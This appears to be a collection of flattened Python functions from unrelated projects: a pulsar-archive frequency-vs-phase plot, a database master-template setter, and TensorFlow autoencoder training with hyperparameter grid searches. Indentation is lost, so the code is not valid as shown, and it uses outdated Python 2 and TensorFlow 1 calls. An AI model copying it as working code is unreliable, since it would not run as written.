def _compute(self): utils.print_info("Creating freq vs. phase plot for %s" % self.fn, 3) params = utils.prep_file(self.fn) if not (params['nchan'] > 1): raise errors.DiagnosticNotApplicable("Archive (%s) only has " \ "a single channel. Freq vs. phase diagnostic " \ "doesn't apply to this data file." % self.fn) handle, tmpfn = tempfile.mkstemp(suffix=".png") os.close(handle) cmd = ["psrplot", "-p", "freq", "-j", "DTp", "-c", \ "above:c=%s" % os.path.split(self.fn)[-1], \ "-D", "%s/PNG" % tmpfn, "%s" % self.fn] utils.execute(cmd) tmpdir = os.path.split(tmpfn)[0] pngfn = os.path.join(tmpdir, self.fn+".freq.png") shutil.move(tmpfn, pngfn) return pngfn
def main(args): # Connect to the database db = database.Database() db.connect() try: if args.template is not None: utils.print_info("Getting template ID for %s using filename and md5" % args.template, 1) # template filename provided. Get template_id template_id = utils.get_template_id(args.template, db) else: template_id = args.template_id utils.print_info("Template ID to set as master: %d" % template_id, 1) if not args.dry_run: utils.set_as_master_template(template_id, db) finally: # Close DB connection db.close()
def train(self, epochs_to_train=5): meta = self.get_meta() ut.print_time('train started: \n%s' % ut.to_file_name(meta)) # return meta, np.random.randn(epochs_to_train) ut.configure_folders(FLAGS, meta) self._dataset, self._filters = self.fetch_datasets(self._activation) self.build_model() self._register_training_start() with tf.Session() as sess: sess.run(tf.initialize_all_variables()) self._saver = tf.train.Saver() if FLAGS.load_state and os.path.exists(self.get_checkpoint_path()): self._saver.restore(sess, self.get_checkpoint_path()) ut.print_info('Restored requested. Previous epoch: %d' % self.get_past_epochs(), color=31) # MAIN LOOP for current_epoch in xrange(epochs_to_train): feed, permutation = self._get_epoch_dataset() for _, batch in enumerate(feed): filter = batch[1][0] assert batch[1][0,0] == batch[1][-1,0] encoding, = sess.run([self._encode], feed_dict={self._input: batch[0]}) # 1.1 encode forward clamped_enc, vae_grad = _clamp(encoding, filter) # 1.2 # clamp sess.run(self._assign_clamped, feed_dict={self._clamped:clamped_enc}) reconstruction, loss, clamped_gradient, _ = sess.run( # 2.1 decode forward+backward [self._decode, self._decoder_loss, self._clamped_grad, self._train_decoder], feed_dict={self._clamped: clamped_enc, self._reconstruction: batch[0]}) declamped_grad = _declamp_grad(vae_grad, clamped_gradient, filter) # 2.2 prepare gradient _, step = sess.run( # 3.0 encode backward path [self._train_encoder, self._step], feed_dict={self._input: batch[0], self._encoding: encoding-declamped_grad}) # Profit self._register_batch(batch, encoding, reconstruction, loss) self._register_epoch(current_epoch, epochs_to_train, permutation, sess) self._writer = tf.train.SummaryWriter(FLAGS.logdir, sess.graph) meta = self._register_training() return meta, self._stats['epoch_accuracy']
def print_data(data, fig, subplot, is_3d=True): colors = np.arange(0, 180) colors = np.concatenate((colors, colors[::-1])) colors = vi.duplicate_array(colors, total_length=len(data)) if is_3d: subplot = fig.add_subplot(subplot, projection='3d') subplot.set_title('All data') subplot.scatter(data[:, 0], data[:, 1], data[:, 2], c=colors, cmap=plt.cm.Spectral, picker=5) else: subsample = data[0:360] if len(data) < 2000 else data[0:720] subsample = np.concatenate((subsample, subsample))[0:len(subsample)+1] ut.print_info('subsample shape %s' % str(subsample.shape)) subsample_colors = colors[0:len(subsample)] subplot = fig.add_subplot(subplot) subplot.set_title('First 360 elem') subplot.plot(subsample[:, 0], subsample[:, 1], picker=0) subplot.plot(subsample[0, 0], subsample[0, 1], picker=0) subplot.scatter(subsample[:, 0], subsample[:, 1], s=50, c=subsample_colors, cmap=plt.cm.Spectral, picker=5) return subplot
def search_learning_rate(lrs=[0.001, 0.0004, 0.0001, 0.00003,], epochs=500): FLAGS.suffix = 'grid_lr' ut.print_info('START: search_learning_rate', color=31) best_result, best_args = None, None result_summary, result_list = [], [] for lr in lrs: ut.print_info('STEP: search_learning_rate', color=31) FLAGS.learning_rate = lr model = model_class() meta, accuracy_by_epoch = model.train(epochs) result_list.append((ut.to_file_name(meta), accuracy_by_epoch)) best_accuracy = np.min(accuracy_by_epoch) result_summary.append('\n\r lr:%2.5f \tq:%.2f' % (lr, best_accuracy)) if best_result is None or best_result > best_accuracy: best_result = best_accuracy best_args = lr meta = {'suf': 'grid_lr_bs', 'e': epochs, 'lrs': lrs, 'acu': best_result, 'bs': FLAGS.batch_size, 'h': model.get_layer_info()} pickle.dump(result_list, open('search_learning_rate%d.txt' % epochs, "wb")) ut.plot_epoch_progress(meta, result_list) print(''.join(result_summary)) ut.print_info('BEST Q: %d IS ACHIEVED FOR LR: %f' % (best_result, best_args), 36)
def search_batch_size(bss=[50], strides=[1, 2, 5, 20], epochs=500): FLAGS.suffix = 'grid_bs' ut.print_info('START: search_batch_size', color=31) best_result, best_args = None, None result_summary, result_list = [], [] print(bss) for bs in bss: for stride in strides: ut.print_info('STEP: search_batch_size %d %d' % (bs, stride), color=31) FLAGS.batch_size = bs FLAGS.stride = stride model = model_class() start = dt.now() # meta, accuracy_by_epoch = model.train(epochs * int(bs / bss[0])) meta, accuracy_by_epoch = model.train(epochs) meta['str'] = stride meta['t'] = int((dt.now() - start).seconds) result_list.append((ut.to_file_name(meta)[22:], accuracy_by_epoch)) best_accuracy = np.min(accuracy_by_epoch) result_summary.append('\n\r bs:%d \tst:%d \tq:%.2f' % (bs, stride, best_accuracy)) if best_result is None or best_result > best_accuracy: best_result = best_accuracy best_args = (bs, stride) meta = {'suf': 'grid_batch_bs', 'e': epochs, 'acu': best_result, 'h': model.get_layer_info()} pickle.dump(result_list, open('search_batch_size%d.txt' % epochs, "wb")) ut.plot_epoch_progress(meta, result_list) print(''.join(result_summary)) ut.print_info('BEST Q: %d IS ACHIEVED FOR bs, st: %d %d' % (best_result, best_args[0], best_args[1]), 36)
def search_layer_sizes(epochs=500): FLAGS.suffix = 'grid_h' ut.print_info('START: search_layer_sizes', color=31) best_result, best_args = None, None result_summary, result_list = [], [] for _, h_encoder in enumerate([300, 700, 2500]): for _, h_decoder in enumerate([300, 700, 2500]): for _, h_narrow in enumerate([3]): model = model_class() model.layer_encoder = h_encoder model.layer_narrow = h_narrow model.layer_decoder = h_decoder layer_info = str(model.get_layer_info()) ut.print_info('STEP: search_layer_sizes: ' + str(layer_info), color=31) meta, accuracy_by_epoch = model.train(epochs) result_list.append((layer_info, accuracy_by_epoch)) best_accuracy = np.min(accuracy_by_epoch) result_summary.append('\n\r h:%s \tq:%.2f' % (layer_info, best_accuracy)) if best_result is None or best_result > best_accuracy: best_result = best_accuracy best_args = layer_info meta = {'suf': 'grid_H_bs', 'e': epochs, 'acu': best_result, 'bs': FLAGS.batch_size, 'h': model.get_layer_info()} print(''.join(result_summary)) pickle.dump(result_list, open('search_layer_sizes%d.txt' % epochs, "wb")) ut.print_info('BEST Q: %d IS ACHIEVED FOR H: %s' % (best_result, best_args), 36) ut.plot_epoch_progress(meta, result_list)